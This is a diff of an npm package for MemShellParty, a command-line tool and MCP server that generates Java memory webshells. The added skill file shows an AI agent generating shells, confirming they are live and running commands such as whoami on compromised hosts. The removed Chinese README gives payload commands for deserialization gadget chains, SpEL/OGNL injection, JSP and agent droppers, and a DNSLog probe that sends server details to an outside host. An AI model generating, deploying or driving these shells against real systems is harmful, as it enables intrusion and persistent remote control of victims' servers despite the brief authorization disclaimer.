memshell-party-cli 0.2.2 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +371 -0
- package/README.md +368 -303
- package/dist/cli.js +1220 -38
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +160 -1
- package/dist/index.js +720 -9
- package/dist/index.js.map +1 -1
- package/package.json +2 -2
- package/skills/{SKILL.md → memshell-party/SKILL.md} +66 -3
- package/README.zh-CN.md +0 -300
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "memshell-party-cli",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.3.1",
|
|
4
4
|
"description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"memshell",
|
|
@@ -19,7 +19,7 @@
|
|
|
19
19
|
"dist",
|
|
20
20
|
"skills",
|
|
21
21
|
"README.md",
|
|
22
|
-
"README.
|
|
22
|
+
"README.en.md",
|
|
23
23
|
"LICENSE"
|
|
24
24
|
],
|
|
25
25
|
"engines": {
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: memshell-party
|
|
3
|
-
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools),
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, and run commands on them with `memparty exec`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, or execute commands on a Godzilla / Behinder shell — for authorized security testing, red-team engagements, or research only.
|
|
4
4
|
---
|
|
5
5
|
|
|
6
6
|
# MemShellParty skill
|
|
@@ -18,7 +18,8 @@ Two equivalent interfaces — pick whichever is available:
|
|
|
18
18
|
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
19
|
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
20
|
`list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
|
|
21
|
-
`server_version`, `connect_test
|
|
21
|
+
`server_version`, `connect_test`, `exec_command`, `target_save`, `target_note`, `target_list`,
|
|
22
|
+
`target_remove`, `log_list`.
|
|
22
23
|
|
|
23
24
|
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
24
25
|
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
@@ -37,6 +38,9 @@ memparty config command # Command-tool encryptors & implementation cl
|
|
|
37
38
|
|
|
38
39
|
Add `--json` for machine-readable output. Use the exact strings these return.
|
|
39
40
|
|
|
41
|
+
Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
|
|
42
|
+
versions; over MCP: `server_version`).
|
|
43
|
+
|
|
40
44
|
## Step 1 — Pick the four core options
|
|
41
45
|
|
|
42
46
|
Every memory shell needs **server → shell tool → shell type → packer**.
|
|
@@ -129,7 +133,7 @@ Common tool-specific flags:
|
|
|
129
133
|
- Godzilla: `--godzilla-pass`, `--godzilla-key`
|
|
130
134
|
- Behinder: `--behinder-pass`
|
|
131
135
|
- AntSword: `--antsword-pass`
|
|
132
|
-
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`
|
|
136
|
+
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
|
|
133
137
|
- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
|
|
134
138
|
- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
|
|
135
139
|
- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
|
|
@@ -162,6 +166,65 @@ memparty connect -u <shell-url> -t godzilla --pass pass --key key \
|
|
|
162
166
|
Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
|
|
163
167
|
`headerName`/`headerValue`, `suo5Mode`).
|
|
164
168
|
|
|
169
|
+
Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
|
|
170
|
+
`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
|
|
171
|
+
|
|
172
|
+
## Step 5 — Execute commands on the shell
|
|
173
|
+
|
|
174
|
+
Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
|
|
175
|
+
prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
|
|
176
|
+
`connect`:
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
memparty exec -u <shell-url> -t godzilla --pass pass --key key \
|
|
180
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
181
|
+
--cmd "whoami"
|
|
182
|
+
memparty exec -u <shell-url> -t behinder --pass rebeyond \
|
|
183
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
184
|
+
--cmd "id"
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
|
|
188
|
+
`cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
|
|
189
|
+
- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
|
|
190
|
+
- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
|
|
191
|
+
|
|
192
|
+
Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
|
|
193
|
+
`headerName`/`headerValue`).
|
|
194
|
+
|
|
195
|
+
## Step 6 — Save targets, switch by name
|
|
196
|
+
|
|
197
|
+
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|
|
198
|
+
with an optional remark and category), then reference it as `<project>/<shell>`:
|
|
199
|
+
|
|
200
|
+
```bash
|
|
201
|
+
memparty target save hw222/bh9060 -u <shell-url> -t behinder --pass rebeyond \
|
|
202
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
203
|
+
--remark "内网测试环境" --category test --shell-remark "root 权限"
|
|
204
|
+
memparty target list # everything, or --category test
|
|
205
|
+
memparty exec hw222/bh9060 --cmd "whoami" # no other flags needed
|
|
206
|
+
memparty exec hw222 --cmd "id" # bare project works when it holds one shell
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
|
|
210
|
+
`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
|
|
211
|
+
(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
|
|
212
|
+
`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
|
|
213
|
+
The store lives at `~/.memparty/targets.json`.
|
|
214
|
+
|
|
215
|
+
## Step 7 — Audit with the operation log
|
|
216
|
+
|
|
217
|
+
Every operation (gen, probe, connect, exec, target save/note/remove) is appended to
|
|
218
|
+
`~/.memparty/operations.jsonl` — no credentials, no payload bytes; exec output is truncated.
|
|
219
|
+
Query it to recall what was done against a target:
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
memparty log --category exec --target hw222
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
|
|
226
|
+
actions before repeating them, or to answer "what did we run on this host?".
|
|
227
|
+
|
|
165
228
|
## Gotchas
|
|
166
229
|
|
|
167
230
|
- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
|
package/README.zh-CN.md
DELETED
|
@@ -1,300 +0,0 @@
|
|
|
1
|
-
# memshell-party-cli
|
|
2
|
-
|
|
3
|
-
[English](README.md) | 中文
|
|
4
|
-
|
|
5
|
-
[MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端(或 AI
|
|
6
|
-
代理)里生成 Java 内存马和探测马,走的是与 `party.mem.mk/ui` 相同的 HTTP API。
|
|
7
|
-
|
|
8
|
-
> ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
|
|
9
|
-
|
|
10
|
-
## 功能特性
|
|
11
|
-
|
|
12
|
-
- **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
|
|
13
|
-
服务器 / 工具 / 类型 / 打包器。
|
|
14
|
-
- **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现。
|
|
15
|
-
- **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
|
|
16
|
-
- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
|
|
17
|
-
- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
|
|
18
|
-
凭证是否正确(回显 / 握手双向校验)。
|
|
19
|
-
- **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
|
|
20
|
-
base64 解码)。
|
|
21
|
-
- **任意后端** —— 默认使用公共站点,可切换为自建实例。
|
|
22
|
-
|
|
23
|
-
## 安装
|
|
24
|
-
|
|
25
|
-
```bash
|
|
26
|
-
npm install -g memshell-party-cli
|
|
27
|
-
# 或者免安装直接运行:
|
|
28
|
-
npx memshell-party-cli gen
|
|
29
|
-
```
|
|
30
|
-
|
|
31
|
-
要求 Node.js >= 18。
|
|
32
|
-
|
|
33
|
-
## 选择后端
|
|
34
|
-
|
|
35
|
-
优先级从高到低:`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
|
|
36
|
-
(`{"apiUrl": "..."}`)→ 默认 `https://party.mem.mk`。
|
|
37
|
-
|
|
38
|
-
建议自建(Docker 一行命令,见 MemShellParty 的 README):
|
|
39
|
-
|
|
40
|
-
```bash
|
|
41
|
-
memparty --api http://127.0.0.1:8080 gen
|
|
42
|
-
# 或者
|
|
43
|
-
export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
44
|
-
```
|
|
45
|
-
|
|
46
|
-
## 用法
|
|
47
|
-
|
|
48
|
-
### 交互模式
|
|
49
|
-
|
|
50
|
-
```bash
|
|
51
|
-
memparty gen # 内存马向导
|
|
52
|
-
memparty probe # 探测马向导
|
|
53
|
-
```
|
|
54
|
-
|
|
55
|
-
当必需参数缺失且处于终端环境时,向导会自动启动。随时可用 `-i` 强制开启,或用
|
|
56
|
-
`--no-interactive` 禁用。
|
|
57
|
-
|
|
58
|
-
### 脚本化生成
|
|
59
|
-
|
|
60
|
-
```bash
|
|
61
|
-
# 生成 Tomcat 哥斯拉 Listener,单个 Base64 payload 输出到 stdout
|
|
62
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
63
|
-
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
64
|
-
|
|
65
|
-
# 写出解码后的 .class 文件(.class/.jar 会自动 base64 解码)
|
|
66
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
67
|
-
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
68
|
-
|
|
69
|
-
# 指定加密器的命令执行马
|
|
70
|
-
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
71
|
-
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
72
|
-
|
|
73
|
-
# 输出完整 JSON(元数据 + payload),便于后续处理
|
|
74
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
75
|
-
```
|
|
76
|
-
|
|
77
|
-
`--jdk` 接受 `java6/8/9/11/17/21`、纯数字(`8`)或 class 文件主版本号(`52`)。
|
|
78
|
-
|
|
79
|
-
注意:部分打包器(如 `Base64`)是*聚合*打包器,会一次返回多个变体;要单个 payload 请选
|
|
80
|
-
叶子打包器(如 `DefaultBase64`、`GzipBase64`)。
|
|
81
|
-
|
|
82
|
-
### 查询可用选项
|
|
83
|
-
|
|
84
|
-
```bash
|
|
85
|
-
memparty config servers # 服务器及其 shell 类型
|
|
86
|
-
memparty config tools Tomcat # 指定服务器的工具 + 类型
|
|
87
|
-
memparty config packers # 打包器父子树
|
|
88
|
-
memparty config command # Command 马的加密器与实现类
|
|
89
|
-
memparty config servers --json # 机器可读输出
|
|
90
|
-
```
|
|
91
|
-
|
|
92
|
-
### 探测马
|
|
93
|
-
|
|
94
|
-
```bash
|
|
95
|
-
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
|
|
96
|
-
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
97
|
-
```
|
|
98
|
-
|
|
99
|
-
探测方法 × 内容矩阵(后端仅支持以下组合):
|
|
100
|
-
|
|
101
|
-
| 方法 `-m` | 支持的内容 `-c` |
|
|
102
|
-
|-----------|------------------|
|
|
103
|
-
| `DNSLog` | `Server`, `JDK` |
|
|
104
|
-
| `Sleep` | `Server` |
|
|
105
|
-
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
106
|
-
|
|
107
|
-
### 测试已部署的马
|
|
108
|
-
|
|
109
|
-
`memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
|
|
110
|
-
(冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手),成功退出码 0,失败 1。
|
|
111
|
-
|
|
112
|
-
```bash
|
|
113
|
-
# 哥斯拉(默认:--pass pass --key key)
|
|
114
|
-
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
115
|
-
|
|
116
|
-
# 冰蝎(默认:--pass rebeyond)
|
|
117
|
-
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
118
|
-
|
|
119
|
-
# suo5(自动识别 v2 握手与旧版 v1 回显;可用 --suo5-mode v2|v1 强制指定)
|
|
120
|
-
memparty connect -u http://target/suo5.jsp -t suo5
|
|
121
|
-
```
|
|
122
|
-
|
|
123
|
-
MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
|
|
124
|
-
`shellToolConfig.headerName` / `headerValue` 中,**必须**原样传给 connect
|
|
125
|
-
(Suo5v2 的 shell 同样校验):
|
|
126
|
-
|
|
127
|
-
```bash
|
|
128
|
-
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
129
|
-
--header-name User-Agent --header-value qSGAJScj
|
|
130
|
-
```
|
|
131
|
-
|
|
132
|
-
其他参数:`-H "Name: value"` 添加自定义请求头,`-k/--insecure` 跳过自签名 TLS 校验,
|
|
133
|
-
`--json` 机器可读输出,`--timeout <ms>`(全局选项)。
|
|
134
|
-
|
|
135
|
-
## 示例
|
|
136
|
-
|
|
137
|
-
端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
|
|
138
|
-
Spring Boot 3 加 `Jakarta` 前缀;`Agent*` 类型搭配 `AgentJar*` 打包器)。拿不准时先运行
|
|
139
|
-
`memparty config tools <server>` 和 `memparty config packers`。
|
|
140
|
-
|
|
141
|
-
### 1. Tomcat 9(javax)上的哥斯拉内存马
|
|
142
|
-
|
|
143
|
-
```bash
|
|
144
|
-
# Listener 型哥斯拉马,单个 base64 payload 到 stdout
|
|
145
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
146
|
-
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
147
|
-
|
|
148
|
-
# ……或直接把解码后的注入器 .class 写到磁盘
|
|
149
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
150
|
-
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
151
|
-
```
|
|
152
|
-
|
|
153
|
-
### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3(Jakarta)
|
|
154
|
-
|
|
155
|
-
```bash
|
|
156
|
-
memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
|
|
157
|
-
--godzilla-pass pass --godzilla-key key --jdk java17
|
|
158
|
-
```
|
|
159
|
-
|
|
160
|
-
### 3. 纯命令执行马(RCE)
|
|
161
|
-
|
|
162
|
-
```bash
|
|
163
|
-
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
164
|
-
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
|
|
165
|
-
```
|
|
166
|
-
|
|
167
|
-
### 4. 反序列化利用链(如 CommonsBeanutils ≤ 1.9.4)
|
|
168
|
-
|
|
169
|
-
```bash
|
|
170
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
171
|
-
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
172
|
-
# 其他链:JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
|
|
173
|
-
```
|
|
174
|
-
|
|
175
|
-
### 5. 表达式注入投递(SpEL / OGNL / EL / Groovy …)
|
|
176
|
-
|
|
177
|
-
```bash
|
|
178
|
-
# Spring SpEL 注入 -> define + load shell 类(Spring 用 Interceptor,不是 Filter)
|
|
179
|
-
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
|
|
180
|
-
--command-param-name cmd --jdk java8
|
|
181
|
-
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
182
|
-
# (SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体)
|
|
183
|
-
```
|
|
184
|
-
|
|
185
|
-
### 6. 落地一个 JSP 文件
|
|
186
|
-
|
|
187
|
-
```bash
|
|
188
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
|
|
189
|
-
--godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
|
|
190
|
-
```
|
|
191
|
-
|
|
192
|
-
### 7. Java agent 内存马(扛得住重部署,挂钩更深)
|
|
193
|
-
|
|
194
|
-
```bash
|
|
195
|
-
memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
|
|
196
|
-
--godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
|
|
197
|
-
```
|
|
198
|
-
|
|
199
|
-
### 8. 先做(盲)指纹识别
|
|
200
|
-
|
|
201
|
-
```bash
|
|
202
|
-
# DNSLog:确认可执行代码,并通过 DNS 带出服务器/JDK 名称
|
|
203
|
-
memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
|
|
204
|
-
# Sleep:时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
|
|
205
|
-
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
206
|
-
```
|
|
207
|
-
|
|
208
|
-
探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
|
|
209
|
-
|
|
210
|
-
### 解析类名
|
|
211
|
-
|
|
212
|
-
```bash
|
|
213
|
-
memparty parse-classname --file shell.class
|
|
214
|
-
memparty parse-classname <class字节的base64>
|
|
215
|
-
```
|
|
216
|
-
|
|
217
|
-
### 版本
|
|
218
|
-
|
|
219
|
-
```bash
|
|
220
|
-
memparty version # CLI 版本 + 后端服务器版本
|
|
221
|
-
```
|
|
222
|
-
|
|
223
|
-
## MCP 服务器
|
|
224
|
-
|
|
225
|
-
以 stdio 方式作为 MCP 服务器运行:
|
|
226
|
-
|
|
227
|
-
```bash
|
|
228
|
-
memparty mcp --api http://127.0.0.1:8080
|
|
229
|
-
```
|
|
230
|
-
|
|
231
|
-
Claude Code / Claude Desktop 配置示例:
|
|
232
|
-
|
|
233
|
-
```json
|
|
234
|
-
{
|
|
235
|
-
"mcpServers": {
|
|
236
|
-
"memshell-party": {
|
|
237
|
-
"command": "npx",
|
|
238
|
-
"args": ["-y", "memshell-party-cli", "mcp"],
|
|
239
|
-
"env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
|
|
240
|
-
}
|
|
241
|
-
}
|
|
242
|
-
}
|
|
243
|
-
```
|
|
244
|
-
|
|
245
|
-
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
246
|
-
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`。
|
|
247
|
-
|
|
248
|
-
## AI 技能(Claude Code)
|
|
249
|
-
|
|
250
|
-
本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills),位于
|
|
251
|
-
`skills/memshell-party/SKILL.md`,教 AI 代理如何驱动 MemShellParty ——
|
|
252
|
-
服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导,以及常见坑
|
|
253
|
-
(Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器)。
|
|
254
|
-
|
|
255
|
-
安装到项目中(或放到 `~/.claude/skills/` 全局使用):
|
|
256
|
-
|
|
257
|
-
```bash
|
|
258
|
-
# 在包根目录下,或 npm install memshell-party-cli 之后:
|
|
259
|
-
mkdir -p .claude/skills
|
|
260
|
-
cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
|
|
261
|
-
```
|
|
262
|
-
|
|
263
|
-
之后用自然语言提问即可,比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
|
|
264
|
-
*"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
|
|
265
|
-
先枚举选项,再按投递途径选合适的打包器。
|
|
266
|
-
|
|
267
|
-
## 编程调用
|
|
268
|
-
|
|
269
|
-
包内还提供带类型的 API 客户端:
|
|
270
|
-
|
|
271
|
-
```ts
|
|
272
|
-
import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
|
|
273
|
-
|
|
274
|
-
const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
|
|
275
|
-
const res = await client.generateMemShell(
|
|
276
|
-
buildMemShellRequest({
|
|
277
|
-
server: "Tomcat",
|
|
278
|
-
shellTool: "Godzilla",
|
|
279
|
-
shellType: "Listener",
|
|
280
|
-
packer: "DefaultBase64",
|
|
281
|
-
godzillaPass: "pass",
|
|
282
|
-
godzillaKey: "key",
|
|
283
|
-
jdk: "java8",
|
|
284
|
-
}),
|
|
285
|
-
);
|
|
286
|
-
console.log(res.memShellResult.shellClassName, res.packResult);
|
|
287
|
-
```
|
|
288
|
-
|
|
289
|
-
## 开发
|
|
290
|
-
|
|
291
|
-
```bash
|
|
292
|
-
npm install
|
|
293
|
-
npm run build # tsup -> dist/
|
|
294
|
-
npm test # vitest
|
|
295
|
-
npm run typecheck # tsc --noEmit
|
|
296
|
-
```
|
|
297
|
-
|
|
298
|
-
## 许可证
|
|
299
|
-
|
|
300
|
-
MIT
|